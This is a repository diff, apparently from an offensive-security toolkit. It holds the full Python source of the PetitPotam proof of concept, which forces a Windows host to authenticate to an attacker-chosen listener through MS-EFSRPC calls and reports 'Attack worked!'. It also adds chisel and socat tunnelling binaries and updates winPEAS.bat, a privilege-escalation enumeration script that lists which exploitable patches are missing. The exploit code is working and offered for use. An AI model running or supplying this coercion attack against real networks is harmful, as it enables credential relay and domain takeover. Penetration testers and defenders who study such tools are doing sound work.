if key in system_errors.ERROR_MESSAGES:
|
||||
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
|
||||
return 'EFSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
|
||||
else:
|
||||
return 'EFSR SessionError: unknown error code: 0x%x' % self.error_code
|
||||
|
||||
|
||||
################################################################################
|
||||
# STRUCTURES
|
||||
################################################################################
|
||||
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Data', '20s'),
|
||||
)
|
||||
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Data', '20s'),
|
||||
)
|
||||
class EFS_EXIM_PIPE(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Data', ':'),
|
||||
)
|
||||
class EFS_HASH_BLOB(NDRSTRUCT):
|
||||
|
||||
structure = (
|
||||
('Data', DWORD),
|
||||
('cbData', PCHAR),
|
||||
)
|
||||
class EFS_RPC_BLOB(NDRSTRUCT):
|
||||
|
||||
structure = (
|
||||
('Data', DWORD),
|
||||
('cbData', PCHAR),
|
||||
)
|
||||
|
||||
class EFS_CERTIFICATE_BLOB(NDRSTRUCT):
|
||||
structure = (
|
||||
('Type', DWORD),
|
||||
('Data', DWORD),
|
||||
('cbData', PCHAR),
|
||||
)
|
||||
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
|
||||
structure = (
|
||||
('Lenght', DWORD),
|
||||
('SID', RPC_SID),
|
||||
('Hash', EFS_HASH_BLOB),
|
||||
('Display', LPWSTR),
|
||||
)
|
||||
class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
|
||||
structure = (
|
||||
('Lenght', DWORD),
|
||||
('SID', RPC_SID),
|
||||
('Hash', EFS_CERTIFICATE_BLOB),
|
||||
|
||||
)
|
||||
class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Cert', DWORD),
|
||||
('Users', ENCRYPTION_CERTIFICATE_HASH),
|
||||
)
|
||||
class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):
|
||||
structure = (
|
||||
('Type', DWORD),
|
||||
('HASH', ENCRYPTION_CERTIFICATE_HASH_LIST),
|
||||
('Certif', ENCRYPTION_CERTIFICATE),
|
||||
('Blob', EFS_RPC_BLOB),
|
||||
)
|
||||
class EFS_RPC_BLOB(NDRSTRUCT):
|
||||
structure = (
|
||||
('Data', DWORD),
|
||||
('cbData', PCHAR),
|
||||
)
|
||||
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
|
||||
align = 1
|
||||
structure = (
|
||||
('Data', ':'),
|
||||
)
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
class EfsRpcOpenFileRaw(NDRCALL):
|
||||
opnum = 0
|
||||
structure = (
|
||||
('fileName', WSTR),
|
||||
('Flag', ULONG),
|
||||
)
|
||||
|
||||
class EfsRpcOpenFileRawResponse(NDRCALL):
|
||||
structure = (
|
||||
('hContext', EXIMPORT_CONTEXT_HANDLE),
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcEncryptFileSrv(NDRCALL):
|
||||
opnum = 4
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
)
|
||||
|
||||
class EfsRpcEncryptFileSrvResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcDecryptFileSrv(NDRCALL):
|
||||
opnum = 5
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
('Flag', ULONG),
|
||||
)
|
||||
|
||||
class EfsRpcDecryptFileSrvResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcQueryUsersOnFile(NDRCALL):
|
||||
opnum = 6
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
|
||||
)
|
||||
class EfsRpcQueryUsersOnFileResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcQueryRecoveryAgents(NDRCALL):
|
||||
opnum = 7
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
|
||||
)
|
||||
class EfsRpcQueryRecoveryAgentsResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcRemoveUsersFromFile(NDRCALL):
|
||||
opnum = 8
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
('Users', ENCRYPTION_CERTIFICATE_HASH_LIST)
|
||||
|
||||
)
|
||||
class EfsRpcRemoveUsersFromFileResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcAddUsersToFile(NDRCALL):
|
||||
opnum = 9
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST)
|
||||
|
||||
)
|
||||
class EfsRpcAddUsersToFileResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcFileKeyInfo(NDRCALL):
|
||||
opnum = 12
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
('infoClass', DWORD),
|
||||
)
|
||||
class EfsRpcFileKeyInfoResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcDuplicateEncryptionInfoFile(NDRCALL):
|
||||
opnum = 13
|
||||
structure = (
|
||||
('SrcFileName', WSTR),
|
||||
('DestFileName', WSTR),
|
||||
('dwCreationDisposition', DWORD),
|
||||
('dwAttributes', DWORD),
|
||||
('RelativeSD', EFS_RPC_BLOB),
|
||||
('bInheritHandle', BOOL),
|
||||
)
|
||||
|
||||
class EfsRpcDuplicateEncryptionInfoFileResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcAddUsersToFileEx(NDRCALL):
|
||||
opnum = 15
|
||||
structure = (
|
||||
('dwFlags', DWORD),
|
||||
('Reserved', EFS_RPC_BLOB),
|
||||
('FileName', WSTR),
|
||||
('dwAttributes', DWORD),
|
||||
('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST),
|
||||
)
|
||||
|
||||
class EfsRpcAddUsersToFileExResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcFileKeyInfoEx(NDRCALL):
|
||||
opnum = 16
|
||||
structure = (
|
||||
('dwFileKeyInfoFlags', DWORD),
|
||||
('Reserved', EFS_RPC_BLOB),
|
||||
('FileName', WSTR),
|
||||
('InfoClass', DWORD),
|
||||
)
|
||||
class EfsRpcFileKeyInfoExResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcGetEncryptedFileMetadata(NDRCALL):
|
||||
opnum = 18
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
)
|
||||
class EfsRpcGetEncryptedFileMetadataResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcSetEncryptedFileMetadata(NDRCALL):
|
||||
opnum = 19
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
('OldEfsStreamBlob', EFS_RPC_BLOB),
|
||||
('NewEfsStreamBlob', EFS_RPC_BLOB),
|
||||
('NewEfsSignature', ENCRYPTED_FILE_METADATA_SIGNATURE),
|
||||
)
|
||||
class EfsRpcSetEncryptedFileMetadataResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
class EfsRpcEncryptFileExSrv(NDRCALL):
|
||||
opnum = 21
|
||||
structure = (
|
||||
('FileName', WSTR),
|
||||
('ProtectorDescriptor', WSTR),
|
||||
('Flags', ULONG),
|
||||
)
|
||||
class EfsRpcEncryptFileExSrvResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode', ULONG),
|
||||
)
|
||||
#class EfsRpcQueryProtectors(NDRCALL):
|
||||
# opnum = 21
|
||||
# structure = (
|
||||
# ('FileName', WSTR),
|
||||
# ('ppProtectorList', PENCRYPTION_PROTECTOR_LIST),
|
||||
# )
|
||||
#class EfsRpcQueryProtectorsResponse(NDRCALL):
|
||||
# structure = (
|
||||
# ('ErrorCode', ULONG),
|
||||
# )
|
||||
|
||||
################################################################################
|
||||
# OPNUMs and their corresponding structures
|
||||
################################################################################
|
||||
OPNUMS = {
|
||||
0 : (EfsRpcOpenFileRaw, EfsRpcOpenFileRawResponse),
|
||||
4 : (EfsRpcEncryptFileSrv, EfsRpcEncryptFileSrvResponse),
|
||||
5 : (EfsRpcDecryptFileSrv, EfsRpcDecryptFileSrvResponse),
|
||||
6 : (EfsRpcQueryUsersOnFile, EfsRpcQueryUsersOnFileResponse),
|
||||
7 : (EfsRpcQueryRecoveryAgents, EfsRpcQueryRecoveryAgentsResponse),
|
||||
8 : (EfsRpcRemoveUsersFromFile, EfsRpcRemoveUsersFromFileResponse),
|
||||
9 : (EfsRpcAddUsersToFile, EfsRpcAddUsersToFileResponse),
|
||||
12 : (EfsRpcFileKeyInfo, EfsRpcFileKeyInfoResponse),
|
||||
13 : (EfsRpcDuplicateEncryptionInfoFile, EfsRpcDuplicateEncryptionInfoFileResponse),
|
||||
15 : (EfsRpcAddUsersToFileEx, EfsRpcAddUsersToFileExResponse),
|
||||
16 : (EfsRpcFileKeyInfoEx, EfsRpcFileKeyInfoExResponse),
|
||||
18 : (EfsRpcGetEncryptedFileMetadata, EfsRpcGetEncryptedFileMetadataResponse),
|
||||
19 : (EfsRpcSetEncryptedFileMetadata, EfsRpcSetEncryptedFileMetadataResponse),
|
||||
21 : (EfsRpcEncryptFileExSrv, EfsRpcEncryptFileExSrvResponse),
|
||||
# 22 : (EfsRpcQueryProtectors, EfsRpcQueryProtectorsResponse),
|
||||
}
|
||||
|
||||
class CoerceAuth():
|
||||
def connect(self, username, password, domain, lmhash, nthash, target, pipe, doKerberos, dcHost, targetIp):
|
||||
binding_params = {
|
||||
'lsarpc': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target,
|
||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||
},
|
||||
'efsr': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target,
|
||||
'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0')
|
||||
},
|
||||
'samr': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target,
|
||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||
},
|
||||
'lsass': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target,
|
||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||
},
|
||||
'netlogon': {
|
||||
'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target,
|
||||
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
|
||||
},
|
||||
}
|
||||
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding'])
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
|
||||
|
||||
if doKerberos:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
||||
if targetIp:
|
||||
rpctransport.setRemoteHost(targetIp)
|
||||
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.set_auth_type(RPC_C_AUTHN_WINNT)
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
print("[-] Connecting to %s" % binding_params[pipe]['stringBinding'])
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
print("Something went wrong, check error status => %s" % str(e))
|
||||
#sys.exit()
|
||||
return
|
||||
print("[+] Connected!")
|
||||
print("[+] Binding to %s" % binding_params[pipe]['MSRPC_UUID_EFSR'][0])
|
||||
try:
|
||||
dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR']))
|
||||
except Exception as e:
|
||||
print("Something went wrong, check error status => %s" % str(e))
|
||||
#sys.exit()
|
||||
return
|
||||
print("[+] Successfully bound!")
|
||||
return dce
|
||||
|
||||
def EfsRpcOpenFileRaw(self, dce, listener):
|
||||
print("[-] Sending EfsRpcOpenFileRaw!")
|
||||
try:
|
||||
request = EfsRpcOpenFileRaw()
|
||||
request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
|
||||
request['Flag'] = 0
|
||||
#request.dump()
|
||||
resp = dce.request(request)
|
||||
|
||||
except Exception as e:
|
||||
if str(e).find('ERROR_BAD_NETPATH') >= 0:
|
||||
print('[+] Got expected ERROR_BAD_NETPATH exception!!')
|
||||
print('[+] Attack worked!')
|
||||
#sys.exit()
|
||||
return None
|
||||
if str(e).find('rpc_s_access_denied') >= 0:
|
||||
print('[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!')
|
||||
print('[+] OK! Using unpatched function!')
|
||||
print("[-] Sending EfsRpcEncryptFileSrv!")
|
||||
try:
|
||||
request = EfsRpcEncryptFileSrv()
|
||||
request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
|
||||
resp = dce.request(request)
|
||||
except Exception as e:
|
||||
if str(e).find('ERROR_BAD_NETPATH') >= 0:
|
||||
print('[+] Got expected ERROR_BAD_NETPATH exception!!')
|
||||
print('[+] Attack worked!')
|
||||
pass
|
||||
else:
|
||||
print("Something went wrong, check error status => %s" % str(e))
|
||||
return None
|
||||
#sys.exit()
|
||||
|
||||
else:
|
||||
print("Something went wrong, check error status => %s" % str(e))
|
||||
return None
|
||||
#sys.exit()
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "PetitPotam - rough PoC to connect to lsarpc and elicit machine account authentication via MS-EFSRPC EfsRpcOpenFileRaw()")
|
||||
parser.add_argument('-u', '--username', action="store", default='', help='valid username')
|
||||
parser.add_argument('-p', '--password', action="store", default='', help='valid password (if omitted, it will be asked unless -no-pass)')
|
||||
parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name')
|
||||
parser.add_argument('-hashes', action="store", metavar="[LMHASH]:NTHASH", help='NT/LM hashes (LM hash can be empty)')
|
||||
|
||||
parser.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
||||
parser.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
|
||||
'(KRB5CCNAME) based on target parameters. If valid credentials '
|
||||
'cannot be found, it will use the ones specified in the command '
|
||||
'line')
|
||||
parser.add_argument('-dc-ip', action="store", metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter')
|
||||
parser.add_argument('-target-ip', action='store', metavar="ip address",
|
||||
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
|
||||
'This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it')
|
||||
|
||||
parser.add_argument('-pipe', action="store", choices=['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass', 'all'], default='lsarpc', help='Named pipe to use (default: lsarpc) or all')
|
||||
parser.add_argument('listener', help='ip address or hostname of listener')
|
||||
parser.add_argument('target', help='ip address or hostname of target')
|
||||
options = parser.parse_args()
|
||||
|
||||
if options.hashes is not None:
|
||||
lmhash, nthash = options.hashes.split(':')
|
||||
else:
|
||||
lmhash = ''
|
||||
nthash = ''
|
||||
|
||||
print(show_banner)
|
||||
|
||||
if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True:
|
||||
from getpass import getpass
|
||||
options.password = getpass("Password:")
|
||||
|
||||
plop = CoerceAuth()
|
||||
|
||||
if options.pipe == "all":
|
||||
all_pipes = ['efsr', 'lsarpc', 'samr', 'netlogon', 'lsass']
|
||||
else:
|
||||
all_pipes = [options.pipe]
|
||||
|
||||
for all_pipe in all_pipes:
|
||||
print("Trying pipe", all_pipe)
|
||||
dce = plop.connect(username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=options.target, pipe=all_pipe, doKerberos=options.k, dcHost=options.dc_ip, targetIp=options.target_ip)
|
||||
if dce is not None:
|
||||
plop.EfsRpcOpenFileRaw(dce, options.listener)
|
||||
dce.disconnect()
|
||||
sys.exit()
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
Binary file not shown.
File diff suppressed because one or more lines are too long
BIN
win/chisel.exe
BIN
win/chisel.exe
Binary file not shown.
BIN
win/chisel64.exe
BIN
win/chisel64.exe
Binary file not shown.
BIN
win/socat.exe
Normal file
BIN
win/socat.exe
Normal file
Binary file not shown.
BIN
win/socat64.exe
Normal file
BIN
win/socat64.exe
Normal file
Binary file not shown.
194
win/winPEAS.bat
194
win/winPEAS.bat
@@ -63,63 +63,68 @@ ECHO.
|
||||
CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO"
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS OS"
|
||||
ECHO. [i] Check for vulnerabilities for the OS version with the applied patches
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#kernel-exploits
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#version-exploits
|
||||
systeminfo
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:ListHotFixes
|
||||
wmic qfe get Caption,Description,HotFixID,InstalledOn | more
|
||||
where wmic >nul 2>&1
|
||||
if %errorlevel% equ 0 (
|
||||
wmic qfe get Caption,Description,HotFixID,InstalledOn | more
|
||||
) else (
|
||||
powershell -command "Get-HotFix | Format-Table -AutoSize"
|
||||
)
|
||||
set expl=no
|
||||
for /f "tokens=3-9" %%a in ('systeminfo') do (ECHO."%%a %%b %%c %%d %%e %%f %%g" | findstr /i "2000 XP 2003 2008 vista" && set expl=yes) & (ECHO."%%a %%b %%c %%d %%e %%f %%g" | findstr /i /C:"windows 7" && set expl=yes)
|
||||
IF "%expl%" == "yes" ECHO. [i] Possible exploits (https://github.com/codingo/OSCP-2/blob/master/Windows/WinPrivCheck.bat)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2592799" 1>NUL
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2592799" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS11-080 patch is NOT installed! (Vulns: XP/SP3,2K3/SP3-afd.sys)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3143141" 1>NUL
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB3143141" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS16-032 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-secondary logon)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2393802" 1>NUL
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2393802" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS11-011 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP1/2,7/SP0-WmiTraceMessageVa)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB982799" 1>NUL
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB982799" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-59 patch is NOT installed! (Vulns: 2K8,Vista,7/SP0-Chimichurri)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB979683" 1>NUL
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB979683" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-21 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP0/1/2,7/SP0-Win Kernel)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2305420" 1>NUL
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2305420" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-092 patch is NOT installed! (Vulns: 2K8/SP0/1/2,Vista/SP1/2,7/SP0-Task Sched)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB981957" 1>NUL
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB981957" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-073 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2/2K8/SP2,Vista/SP1/2,7/SP0-Keyboard Layout)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB4013081" 1>NUL
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB4013081" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS17-017 patch is NOT installed! (Vulns: 2K8/SP2,Vista/SP2,7/SP1-Registry Hive Loading)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB977165" 1>NUL
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB977165" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-015 patch is NOT installed! (Vulns: 2K,XP,2K3,2K8,Vista,7-User Mode to Ring)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB941693" 1>NUL
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB941693" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS08-025 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2,2K3/SP1/2,2K8/SP0,Vista/SP0/1-win32k.sys)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB920958" 1>NUL
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB920958" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS06-049 patch is NOT installed! (Vulns: 2K/SP4-ZwQuerySysInfo)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB914389" 1>NUL
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB914389" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS06-030 patch is NOT installed! (Vulns: 2K,XP/SP2-Mrxsmb.sys)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB908523" 1>NUL
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB908523" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS05-055 patch is NOT installed! (Vulns: 2K/SP4-APC Data-Free)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB890859" 1>NUL
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB890859" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS05-018 patch is NOT installed! (Vulns: 2K/SP3/4,XP/SP1/2-CSRSS)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB842526" 1>NUL
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB842526" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-019 patch is NOT installed! (Vulns: 2K/SP2/3/4-Utility Manager)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB835732" 1>NUL
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB835732" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-011 patch is NOT installed! (Vulns: 2K/SP2/3/4,XP/SP0/1-LSASS service BoF)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB841872" 1>NUL
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB841872" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-020 patch is NOT installed! (Vulns: 2K/SP4-POSIX)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2975684" 1>NUL
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2975684" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS14-040 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-afd.sys Dangling Pointer)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3136041" 1>NUL
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB3136041" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS16-016 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-WebDAV to Address)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3057191" 1>NUL
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB3057191" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS15-051 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-win32k.sys)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2989935" 1>NUL
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2989935" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS14-070 patch is NOT installed! (Vulns: 2K3/SP2-TCP/IP)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2778930" 1>NUL
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2778930" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-005 patch is NOT installed! (Vulns: Vista,7,8,2008,2008R2,2012,RT-hwnd_broadcast)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2850851" 1>NUL
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2850851" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-053 patch is NOT installed! (Vulns: 7SP0/SP1_x86-schlamperei)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2870008" 1>NUL
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:"KB2870008" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-081 patch is NOT installed! (Vulns: 7SP0/SP1_x86-track_popup_menu)
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
@@ -147,12 +152,20 @@ ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:LAPSInstallCheck
|
||||
CALL :ColorLine " %E%33m[+]%E%97m LAPS installed?"
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Legacy Microsoft LAPS installed?"
|
||||
ECHO. [i] Check what is being logged
|
||||
REG QUERY "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
